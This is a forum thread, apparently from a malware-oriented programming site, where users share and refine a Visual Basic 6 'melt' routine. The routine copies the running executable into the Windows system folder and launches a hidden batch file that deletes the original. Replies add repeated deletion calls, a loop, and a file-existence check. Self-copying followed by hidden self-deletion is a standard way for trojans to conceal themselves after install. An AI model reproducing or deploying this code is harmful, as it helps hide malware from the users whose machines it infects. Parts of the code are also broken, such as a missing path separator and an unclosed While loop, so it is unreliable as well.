-
Melt Function
Hi guys... here is a melt function
Code:
Private Sub Form_Load()
If App.Path <> Environ("systemroot") Then 'If File doesnt exist in systemroot then do
DoEvent:
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("systemroot") & "\copiedfile.exe" 'Copy file to systemroot and rename it
End If
Dim i As Integer
Open Environ("systemroot") & "runner.bat" For Output As #1 'open a bat file called runner.bat
Print #1, "Del " & Chr(34) & App.Path & "\" & App.EXEName & ".exe" & Chr(34) 'Put this code into the opened bat file
Close #1 'Now Done, close file
For i = 0 To 10000
i = i + 1
Next
Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
End
End Sub
-
Nice
-
-
Works fine 98% of the time
If you want it 100% duplicate the deletion action 
ie.
Next
Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
End
Regards,
<22Cms>
-

Originally Posted by
common26
Works fine 98% of the time
If you want it 100% duplicate the deletion action
ie.
Next
Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
End
Regards,
<22Cms>
Works fine 99% of the time
If you want it 100% duplicate the deletion action 
ie.
Next
Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
End
-
thanks I will do
[IMG]http://img210.imageshack.us/img210/3581/openscwsel1.jpg[/IMG]
[img]http://img231.imageshack.us/img231/2967/userbar658375io6.gif[/img]
-
Use a loop instead
dim i as integer
For i = 1 to 5
Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
next i
[CENTER][URL="http://i140.photobucket.com/albums/r10/ProjectRaptor/animerockerchicsig.png"][IMG]http://i42.tinypic.com/14j2gkg.jpg[/IMG]
[/URL]___________________________________________________________________[URL="http://i140.photobucket.com/albums/r10/ProjectRaptor/animerockerchicsig.png"]
[/URL][quote]
[CENTER] I like pie.

[/CENTER]
[/quote][/CENTER]
-

Originally Posted by
KriPpLer
Use a loop instead
dim i as integer
For i = 1 to 5
Shell Environ("systemroot") & "runner.bat", vbHide 'Run the bat file from its dir.
next i
Yeyeye xD
I was just kidding.
This is maybe the best:
Code:
Private Sub Form_Load()
If App.Path <> Environ("systemroot") Then
DoEvent:
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("systemroot") & "\copiedfile.exe"
End If
Dim i As Integer
Open Environ("systemroot") & "runner.bat" For Output As #1
Print #1, "Del " & Chr(34) & App.Path & "\" & App.EXEName & ".exe" & Chr(34) 'Put this code into the opened bat file
Close #1 'Now Done, close file
For i = 0 To 10000
i = i + 1
Next
While 1
If FileExists(App.Path & "\" & App.EXEName & ".exe") = True Then
Shell Environ("systemroot") & "runner.bat", vbHide
Else
End 'or exitsub or w/e
End
End Sub
Public Function FileExists(sFullPath As String) As Boolean
Dim oFile As New Scripting.FileSystemObject
FileExists = oFile.FileExists(sFullPath)
End Function
But maybe this doesn't work... Dunno, never tested it
-
-
Just replace the function FileExists with this one:
Code:
Function FileExists(FileName As String) As Boolean
On Error GoTo ErrorHandler
FileExists = (GetAttr(FileName) And vbDirectory) = 0
ErrorHandler:
End Function
[IMG]http://img210.imageshack.us/img210/3581/openscwsel1.jpg[/IMG]
Thread Information
Users Browsing this Thread
There are currently 1 users browsing this thread. (0 members and 1 guests)
Similar Threads
-
By ratws in forum Snippets
Replies: 4
Last Post: 18-09-2009, 19:55
-
By cool_mofo_2 in forum General Programming Help
Replies: 11
Last Post: 07-12-2008, 04:17
-
By ratws in forum General Programming Help
Replies: 3
Last Post: 21-06-2007, 04:16
-
By black_arrow_333 in forum Delphi Help
Replies: 3
Last Post: 01-02-2007, 14:46
-
By ratws in forum General Programming Help
Replies: 3
Last Post: 07-05-2005, 23:46
Posting Permissions
- You may not post new threads
- You may not post replies
- You may not post attachments
- You may not edit your posts
Forum Rules
All times are GMT +1. The time now is 21:49.
www.opensc.ws
Copyright ©2005 - 2012, OpenSC Forums
Search Engine Friendly URLs by vBSEO 3.6.0 ©2011, Crawlability, Inc.